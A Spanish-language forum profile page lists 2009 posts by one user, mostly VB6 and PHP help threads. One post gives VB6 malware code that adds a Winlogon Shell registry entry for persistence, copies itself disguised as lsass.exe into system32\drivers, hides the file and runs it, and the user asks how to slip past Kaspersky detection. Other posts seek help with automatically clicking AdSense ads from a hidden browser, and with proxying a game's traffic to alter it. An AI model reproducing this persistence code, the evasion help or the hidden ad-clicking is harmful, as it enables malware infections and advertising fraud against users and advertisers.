Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - demoniox12

#11
Cita de: DarkFire en  9 Marzo 2009, 13:50 PM
Cita de: Spider-Net en  9 Marzo 2009, 13:02 PM
Yo hice algo parecido, el caso es que tienes que hacer que la aplicación cada minuto o cada 2 minutos esté informando a la web.
Yo lo que hice fue un script en php que recibe la información que yo quería por GET: nombre del equipo, fecha/hora, IP, nombre de usuario...

Y luego para saber quien está usando el programa en tiempo real hay dos opciones, una que el programa al cerrarse, osea en el form_unload puedes poner que envíe una notificación especial a la web que quiera decir que está offline, pero si el proceso muere inesperadamente entonces tendrías un usuario falso online por lo tanto la mejor forma es que si cada 2 minutos recibes notificaciones, si pasan 3 minutos y no recibes notificación das a ese usuario por offline y ya está.

A mí me funcionó bien, pero no puedo pasarte el enlace de la página funcionando porque tiene datos privados de usuarios y no puedo publicar eso pero si tienes alguna duda puedo copiarte alguna parte del código fuente.

Saludos!

Interesante... pero kisiera una ayuda para lo del script =/... ya que el script tendria que detectar solo (...me imagino que desde la hora del servidor) log de hora1 hasta la hora+2minutos en eso es lo que tengo mas duda... xD!.. ia que no sabria como =/ o kiza estoy que me enredo =(

Te recomiendo que trabajes con timestamp, y para ver en un formato legible la hora podes ver asi:

Código (php) [Seleccionar]
<?php
echo date("Y-m-d H:i:s"time()+120);
?>


ahi te da 2 min despues. (el timestamp es el time() y le sumas 120 segundos que son 2 min, y como podes hacer para saber? facil:

si trabajas con mysql toma:

Código (php) [Seleccionar]
<?php
include("tu_archivo_de_conexion_sql.php");
$time=time();
$SQL="DELETE FROM la_tabla WHERE (timestamp_guardado < $time)";
$SQL_Ej=mysql_query($SQL);
?>


Saludos!

PD: para crear la tabla, el campo no lo crees como timestamp ya que agarrara formato de fecha y hora.
#12
Cita de: vivachapas en  8 Marzo 2009, 20:25 PM
Cita de: W4NT3D en  8 Marzo 2009, 17:55 PM
Cita de: Spider-Net en  8 Marzo 2009, 11:37 AM
Código (vb) [Seleccionar]
Winsock1.Connect "IP",PUERTO
Winsock1.SendData Text1.Text



EXACTO !

Algo así es lo que necesito , pero supongamos que deceo enviar un packet a el servidor por ejemplo:

182.15.81.848:55901


entonces le cambias lo datos x los q vos necesitas  :¬¬

Código (vb) [Seleccionar]
Winsock1.Connect "182.15.81.848", 55901
Winsock1.SendData Text1.Text


ahora a eso q te puse arriba.. lo seleccionas lo copias y lo pegas en tu proyecto  :¬¬

a ver si leemos un poco mas...

Para simular que es el programa debes interceptar todo y utilizar tu programa como si fuera proxy y modificar lo que quieras.. y por lo que veo es el puerto de un MU :P

Saludos!
#13
Muchas gracias muchachos!

Saludos!
#14
Buenas,

el pedazo de codigo que detecta es:

Código (vb) [Seleccionar]
Reg_Crea_KeyConValor HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "Explorer.exe, " & Environ("WinDir") & "\system32\drivers\lsass.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("WinDir") & "\system32\drivers\lsass.exe" 'lo copiamos
SetAttr Environ("WinDir") & "\system32\drivers\lsass.exe", vbHidden + vbReadOnly + vbSystem
DoEvents
Shell Environ("WinDir") & "\system32\drivers\lsass.exe" 'y lo ejecutamos


Les digo las combinaciones que detecta:

cuando FileCopy no esta no lo detecta, cuando reg_crea_keyconvalor y shell no estan tampoco lo detecta, cuando solo le cambio el nombre al FileCopy digamos le cambio el lsass no lo detecta, intente ponerlo en funcion para que saque de ahi el nombre, tambien intente ponerlo con strreverse.. nadap.. alguna solucion?

Saludos!

PD: el Antivirus es el Kaspersky
#15
Cita de: seba123neo en 27 Febrero 2009, 21:02 PM
porque no listas todos los links de la web...en realidad tendrias que comentar para que realmente necesitas hacer eso...para ver si hay otra forma...

El fin es clickear una publicidad de adsense..

por medio de document.frames......links.click es inalcanzable ya que da acceso denegado..

por medio de focus y click tmb da acceso denegado..

por medio de winsock no lo he logrado.. obtengo todo el javascript pero no logro descifrarlo esta muy pero muy complejo...

entonces lo que quiero es hacer tabs hasta llegar a la publicidad y ahi mandar un mouse_down

Saludos!
#16
Cita de: Dessa en 27 Febrero 2009, 20:59 PM
No estaras llegando al hwnd  que corresponde ya que así se manda un Tab con SenMessage

Call SendMessage(hwnd, WM_CHAR, WM_TAB , 0&)

Saludos




Si  estoy llegando,  lo comprobe con el WinID me da el mismo hwnd que el que me devuelve la funcion GetBrowserHandle... 

Saludos!
#17
Cita de: Dessa en 27 Febrero 2009, 20:52 PM
SenMessage está mal declarado

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Saludos


Ahora no tira desbordamiento pero no realiza ninguna accion.

Saludos!
#18
Cita de: Dessa en 27 Febrero 2009, 20:40 PM
Hola, no se si correspònde SendMessage para este caso pero me parece que estas mandando mal el mensaje


Private Const WM_CHAR = &H102
Private Const WM_BACK = &H8
Private Const WM_TAB = &H9


Call SendMessage(hwnd, WM_CHAR, VK_TAB, 0&)


Saludos


Tira error de desbordamiento..

Cita de: byway en 27 Febrero 2009, 20:42 PM
Cita de: demoniox12 en 27 Febrero 2009, 20:21 PM
Cita de: seba123neo en 27 Febrero 2009, 20:16 PM
oculto en que sentido?, en Visible = Flase o oculto a la vista del usuario poniendolo en cordenadas X,Y que no se vean...?

Visible = False

segun tengo entendido un webnrowser en :

Visible = False ... no realiza ninguna accion (no navega), corriganme si me equivoco

el Form es el que estara invisible..


Saludos!
#19
Cita de: seba123neo en 27 Febrero 2009, 20:16 PM
oculto en que sentido?, en Visible = Flase o oculto a la vista del usuario poniendolo en cordenadas X,Y que no se vean...?

Visible = False
#20
Cita de: seba123neo en 27 Febrero 2009, 19:51 PM
Hola, y esto no te sirve?

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    WebBrowser1.SetFocus
    SendKeys "{tab}"
End Sub

Private Sub Form_Load()
    WebBrowser1.Navigate "http://www.google.com"
End Sub


saludos.

no.. porke el webbrowser estara oculto..

Saludos y gracias igual..